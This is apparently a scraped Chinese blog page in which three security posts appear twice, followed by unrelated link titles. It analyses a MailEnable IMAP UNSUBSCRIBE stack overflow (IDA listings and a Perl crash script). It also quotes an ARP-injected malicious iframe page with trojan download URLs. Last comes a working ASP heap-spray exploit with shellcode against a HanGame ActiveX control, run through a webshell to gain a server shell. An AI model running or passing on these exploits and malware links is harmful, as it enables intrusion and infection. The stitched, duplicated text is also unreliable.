MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出
来源:互联网 发布:腐植酸淘宝多少钱一吨 编辑:程序博客网 时间:2024/06/13 02:23
看了下MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出问题。有点麻烦,看了快两天才弄清楚,希望没看错。主要是用IDA反汇编,然后结合OD一起看的。先用perl写了个脚本测试,代码很简单:
代码:
#!/use/bin/perl
use strict;
use warnings;
use IO::Socket;
if( @ARGV != 3 )
{
print "imail_subscribe.pl <host> <username> <password>/n";
exit( -1 );
}
my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];
my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>"143", proto=>"tcp" ) || die "Connect error./n";
my $res = <$sock>;
print $res;
if( $res !~ /OK/ )
{
exit( -1 );
}
# login
print $sock "0 LOGIN $user $pass/r/n";
$res = <$sock>;
if( ! defined($res) )
{
exit(-1);
}
print $res;
if( $res !~ /OK/ )
{
exit(-1);
}
# select
print $sock "2 SELECT INBOX/r/n";
while( <$sock> )
{
print $_;
if( $_ =~ /2 OK/ || $_ =~ /2 BAD/ )
{
last;
}
}
my $test_code = "AB" x 800;
print $sock "3 UNSUBSCRIBE $test_code/r/n";
$res = <$sock>;
if( ! defined($res) )
{
exit(-1);
}
print $res;
#exit
print $sock "4 LOGOUT/r/n";
print <$sock>;
$sock->close();
第一个断点下在0x00424631这里。至于为什么,理由很简单,这里是在判断命令,而且恰好是开始判断UNSUBSCRIBE命令,我们从头开始走下去,看看到底出了什么问题。开始是一个字符串比较,随后一个拷贝,走到下面出现异常。
代码:
.text:00424662 add esp, 8
.text:00424665 mov eax, [ebp+arg_0]
.text:00424668 push eax
.text:00424669 call sub_419E90
第二次跟进sub_419E90,一开始,就分配了栈内存,
代码:
.text:00419E93 sub esp, 588h
随后调用sub_412430是判断状态,当前是否可以执行UNSUBSCRIBE命令。判断完成后我们会跳到下面这里,查找空格解析命令和参数。
代码:
.text:00419F00 push offset asc_488DF8 ; " "
.text:00419F05 mov edx, [ebp+arg_0]
.text:00419F08 add edx, 1BACh
.text:00419F0E push edx ; char *
.text:00419F0F call _strstr ; 查找空格
参数解析完成后,再次转跳到下面的位置,注意这里会进行拷贝,将传入的参数拷贝到栈内存中。
代码:
.text:00419F7C push 800h ; int
.text:00419F81 mov eax, [ebp+var_584]
.text:00419F87 add eax, 1
.text:00419F8A push eax ; char *
.text:00419F8B lea ecx, [ebp+var_480]
.text:00419F91 push ecx ; char *
.text:00419F92 call sub_43B100 ; 安全拷贝
跟进sub_43B100子函数,代码如下:
代码:
.text:0043B100 push ebp
.text:0043B101 mov ebp, esp
.text:0043B103 push ecx
.text:0043B104 mov eax, [ebp+arg_4]
.text:0043B107 push eax ; char *
.text:0043B108 call _strlen
.text:0043B108
.text:0043B10D add esp, 4
.text:0043B110 mov [ebp+var_4], eax
.text:0043B113 mov ecx, [ebp+var_4]
.text:0043B116 cmp ecx, [ebp+arg_8]
.text:0043B119 jge short loc_43B12D
.text:0043B119
.text:0043B11B mov edx, [ebp+arg_4]
.text:0043B11E push edx ; char *
.text:0043B11F mov eax, [ebp+arg_0]
.text:0043B122 push eax ; char *
.text:0043B123 call _strcpy
.text:0043B123
.text:0043B128 add esp, 8
.text:0043B12B jmp short loc_43B150
.text:0043B12B
.text:0043B12D ---------------------------------------------------------------------------
.text:0043B12D
.text:0043B12D loc_43B12D: ; CODE XREF: sub_43B100+19
.text:0043B12D mov ecx, [ebp+arg_8]
.text:0043B130 sub ecx, 1
.text:0043B133 push ecx ; size_t
.text:0043B134 mov edx, [ebp+arg_4]
.text:0043B137 push edx ; char *
.text:0043B138 mov eax, [ebp+arg_0]
.text:0043B13B push eax ; char *
.text:0043B13C call _strncpy
.text:0043B13C
.text:0043B141 add esp, 0Ch
.text:0043B144 mov ecx, [ebp+arg_0]
.text:0043B147 add ecx, [ebp+arg_8]
.text:0043B14A mov byte ptr [ecx-1], 0
.text:0043B14E xor eax, eax
.text:0043B14E
.text:0043B150
.text:0043B150 loc_43B150: ; CODE XREF: sub_43B100+2B
.text:0043B150 mov esp, ebp
.text:0043B152 pop ebp
.text:0043B153 retn 0Ch
可以看到,这里先判断源字符串的长度是否大于0x800,如果大于就调用strncpy拷贝0x800-1个字节。如果小于,就调用strcpy拷贝所有的字符串。但是搞笑的是,在sub_43B100的父函数中分配的内存是0x588,而调用sub_43B100的时候,传递的最大长度是0x800。伪代码如下:
代码:
void my_strcpy( char *dst, char *src, int len )
{
if( strlen( src ) >= len )
{
strncpy( dst, src, len - 1 );
}
else
{
strcpy( dst, src );
}
}
void vuln( char *src, ..... )
{
char dst[0x480] = { 0 };
my_strcpy( dst, src, 0x800 );
.....
}
这里的长度有限制,覆盖不到SEH。虽然可以覆盖到vuln的返回地址,但是在vuln返回之前就异常了,在一次strlen调用中,eax被字符串覆盖改写导致读取异常。小心的调整字符串,应该是可以顺利执行下去最后执行shellcode的,不过我没那耐心,也没那时间。 今天早上起来,发现主页又被arp挂马了。还好只是首页,blog没有问题。被插入的网页为:http://b0067.com/wm/5.htm。查看代码,如下:
代码:
<html>
<iframe src=01.htm width=0 height=0></iframe>
<iframe src=02.htm width=100 height=0></iframe>
<iframe src=03.htm width=100 height=0></iframe>
</html>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1368741.js"></script>
<script language="javascript" src="http://count45.51yes.com/click.aspx?id=459775497&logo=1"></script>
<script src='http://s2.cnzz.com/stat.php?id=804850&web_id=804850' language='JavaScript' charset='gb2312'></script>
分别看了那几个网页,一个是ms06014漏洞,一个是联众大厅的ActiveX溢出。一个木马是http://b0067.com/aa.exe,加了壳,没去拆开看。看来是ARP欺骗挂了整个C类,又是城门失火,殃及我啊。
123帮忙把壳拆掉了,地址是http://icylife.net/pic/aaun.rar,盗号,貌似还感染html文件,并且传播局域网。 webshell中上传asp文件调用服务器ActiveX控件溢出获取shell 做windows系统渗透测试的时候有webshell了,但是拿不到shell,用来提升权限,也是个很郁闷的事情。一般来说,使用mdb jet引擎的溢出比较常见,但是有时候根据服务器上安装的第三方软件,使用一些新的方法,或许能有一点转机。这里主要描述一下调用activex溢出服务器的思路,方法很简单。
activex溢出一般都是用来攻击客户端的,但是这里,主要就是利用了asp是在服务端执行的,而且可以调用activex控件的原理。废话不多说了,一小段测试性质的代码,在服务器上放这么个asp文件,远程访问一下,服务器就执行计算器。代码没什么奇特的地方,把JS放到<%中执行就行了,主要是提供点思路。
————————很傻很天真的分割线————————
代码:
<%@ LANGUAGE = JavaScript %>
<%
var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");
//run calc.exe
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 1319) buffer+="A";
buffer=buffer+"/x0a/x0a/x0a/x0a"+buffer;
act.hgs_startNotify(buffer);
%>
代码:
#!/use/bin/perl
use strict;
use warnings;
use IO::Socket;
if( @ARGV != 3 )
{
print "imail_subscribe.pl <host> <username> <password>/n";
exit( -1 );
}
my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];
my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>"143", proto=>"tcp" ) || die "Connect error./n";
my $res = <$sock>;
print $res;
if( $res !~ /OK/ )
{
exit( -1 );
}
# login
print $sock "0 LOGIN $user $pass/r/n";
$res = <$sock>;
if( ! defined($res) )
{
exit(-1);
}
print $res;
if( $res !~ /OK/ )
{
exit(-1);
}
# select
print $sock "2 SELECT INBOX/r/n";
while( <$sock> )
{
print $_;
if( $_ =~ /2 OK/ || $_ =~ /2 BAD/ )
{
last;
}
}
my $test_code = "AB" x 800;
print $sock "3 UNSUBSCRIBE $test_code/r/n";
$res = <$sock>;
if( ! defined($res) )
{
exit(-1);
}
print $res;
#exit
print $sock "4 LOGOUT/r/n";
print <$sock>;
$sock->close();
第一个断点下在0x00424631这里。至于为什么,理由很简单,这里是在判断命令,而且恰好是开始判断UNSUBSCRIBE命令,我们从头开始走下去,看看到底出了什么问题。开始是一个字符串比较,随后一个拷贝,走到下面出现异常。
代码:
.text:00424662 add esp, 8
.text:00424665 mov eax, [ebp+arg_0]
.text:00424668 push eax
.text:00424669 call sub_419E90
第二次跟进sub_419E90,一开始,就分配了栈内存,
代码:
.text:00419E93 sub esp, 588h
随后调用sub_412430是判断状态,当前是否可以执行UNSUBSCRIBE命令。判断完成后我们会跳到下面这里,查找空格解析命令和参数。
代码:
.text:00419F00 push offset asc_488DF8 ; " "
.text:00419F05 mov edx, [ebp+arg_0]
.text:00419F08 add edx, 1BACh
.text:00419F0E push edx ; char *
.text:00419F0F call _strstr ; 查找空格
参数解析完成后,再次转跳到下面的位置,注意这里会进行拷贝,将传入的参数拷贝到栈内存中。
代码:
.text:00419F7C push 800h ; int
.text:00419F81 mov eax, [ebp+var_584]
.text:00419F87 add eax, 1
.text:00419F8A push eax ; char *
.text:00419F8B lea ecx, [ebp+var_480]
.text:00419F91 push ecx ; char *
.text:00419F92 call sub_43B100 ; 安全拷贝
跟进sub_43B100子函数,代码如下:
代码:
.text:0043B100 push ebp
.text:0043B101 mov ebp, esp
.text:0043B103 push ecx
.text:0043B104 mov eax, [ebp+arg_4]
.text:0043B107 push eax ; char *
.text:0043B108 call _strlen
.text:0043B108
.text:0043B10D add esp, 4
.text:0043B110 mov [ebp+var_4], eax
.text:0043B113 mov ecx, [ebp+var_4]
.text:0043B116 cmp ecx, [ebp+arg_8]
.text:0043B119 jge short loc_43B12D
.text:0043B119
.text:0043B11B mov edx, [ebp+arg_4]
.text:0043B11E push edx ; char *
.text:0043B11F mov eax, [ebp+arg_0]
.text:0043B122 push eax ; char *
.text:0043B123 call _strcpy
.text:0043B123
.text:0043B128 add esp, 8
.text:0043B12B jmp short loc_43B150
.text:0043B12B
.text:0043B12D ---------------------------------------------------------------------------
.text:0043B12D
.text:0043B12D loc_43B12D: ; CODE XREF: sub_43B100+19
.text:0043B12D mov ecx, [ebp+arg_8]
.text:0043B130 sub ecx, 1
.text:0043B133 push ecx ; size_t
.text:0043B134 mov edx, [ebp+arg_4]
.text:0043B137 push edx ; char *
.text:0043B138 mov eax, [ebp+arg_0]
.text:0043B13B push eax ; char *
.text:0043B13C call _strncpy
.text:0043B13C
.text:0043B141 add esp, 0Ch
.text:0043B144 mov ecx, [ebp+arg_0]
.text:0043B147 add ecx, [ebp+arg_8]
.text:0043B14A mov byte ptr [ecx-1], 0
.text:0043B14E xor eax, eax
.text:0043B14E
.text:0043B150
.text:0043B150 loc_43B150: ; CODE XREF: sub_43B100+2B
.text:0043B150 mov esp, ebp
.text:0043B152 pop ebp
.text:0043B153 retn 0Ch
可以看到,这里先判断源字符串的长度是否大于0x800,如果大于就调用strncpy拷贝0x800-1个字节。如果小于,就调用strcpy拷贝所有的字符串。但是搞笑的是,在sub_43B100的父函数中分配的内存是0x588,而调用sub_43B100的时候,传递的最大长度是0x800。伪代码如下:
代码:
void my_strcpy( char *dst, char *src, int len )
{
if( strlen( src ) >= len )
{
strncpy( dst, src, len - 1 );
}
else
{
strcpy( dst, src );
}
}
void vuln( char *src, ..... )
{
char dst[0x480] = { 0 };
my_strcpy( dst, src, 0x800 );
.....
}
这里的长度有限制,覆盖不到SEH。虽然可以覆盖到vuln的返回地址,但是在vuln返回之前就异常了,在一次strlen调用中,eax被字符串覆盖改写导致读取异常。小心的调整字符串,应该是可以顺利执行下去最后执行shellcode的,不过我没那耐心,也没那时间。 今天早上起来,发现主页又被arp挂马了。还好只是首页,blog没有问题。被插入的网页为:http://b0067.com/wm/5.htm。查看代码,如下:
代码:
<html>
<iframe src=01.htm width=0 height=0></iframe>
<iframe src=02.htm width=100 height=0></iframe>
<iframe src=03.htm width=100 height=0></iframe>
</html>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1368741.js"></script>
<script language="javascript" src="http://count45.51yes.com/click.aspx?id=459775497&logo=1"></script>
<script src='http://s2.cnzz.com/stat.php?id=804850&web_id=804850' language='JavaScript' charset='gb2312'></script>
分别看了那几个网页,一个是ms06014漏洞,一个是联众大厅的ActiveX溢出。一个木马是http://b0067.com/aa.exe,加了壳,没去拆开看。看来是ARP欺骗挂了整个C类,又是城门失火,殃及我啊。
123帮忙把壳拆掉了,地址是http://icylife.net/pic/aaun.rar,盗号,貌似还感染html文件,并且传播局域网。 webshell中上传asp文件调用服务器ActiveX控件溢出获取shell 做windows系统渗透测试的时候有webshell了,但是拿不到shell,用来提升权限,也是个很郁闷的事情。一般来说,使用mdb jet引擎的溢出比较常见,但是有时候根据服务器上安装的第三方软件,使用一些新的方法,或许能有一点转机。这里主要描述一下调用activex溢出服务器的思路,方法很简单。
activex溢出一般都是用来攻击客户端的,但是这里,主要就是利用了asp是在服务端执行的,而且可以调用activex控件的原理。废话不多说了,一小段测试性质的代码,在服务器上放这么个asp文件,远程访问一下,服务器就执行计算器。代码没什么奇特的地方,把JS放到<%中执行就行了,主要是提供点思路。
————————很傻很天真的分割线————————
代码:
<%@ LANGUAGE = JavaScript %>
<%
var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");
//run calc.exe
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 1319) buffer+="A";
buffer=buffer+"/x0a/x0a/x0a/x0a"+buffer;
act.hgs_startNotify(buffer);
%>
- MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出
- FlashFXP PWD命令超长畸形参数溢出漏洞
- 电子邮件的POP3/SMTP/IMAP服务
- 电子邮件的POP3/SMTP/IMAP服务
- unix 命令行参数超长的处理。。
- 关于超长参数页面跳转的问题
- 邮件协议POP3/IMAP/SMTP服务的区别 常用邮箱的 IMAP/POP3/SMTP 设置
- 邮件协议POP3/IMAP/SMTP服务的区别
- 邮件协议POP3/IMAP/SMTP服务的区别
- 常见的邮件服务协议之POP3,IMAP, EXCHANGE
- 邮件协议POP3/IMAP/SMTP服务的区别
- IMAP命令祥解!
- IMAP命令参考
- IMAP命令学习
- imap命令详解
- IMAP命令学习
- IMAP命令参考
- imap 命令详解
- ado.net统一事务,及连接池管理(五)
- link 方式安装 eclipse 插件
- 用Photoshop制作1寸和2寸的照片
- 列举进程
- 用到的串口通信类和窗体应用
- MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出
- 传感器(c#2.0)serialPort串口通讯
- jabber/XMPP协议在嵌入系统透NAT中的应用
- Linux平台socks5代理
- SQL中CONVERT转化函数的用法
- LFS在coLinux上成功运行
- 重装windows update服务和BITS服务
- Comet: Low Latency Data for the Browser
- "Maxthon阻止了一个错误,...Flash9e.ocx"解决办法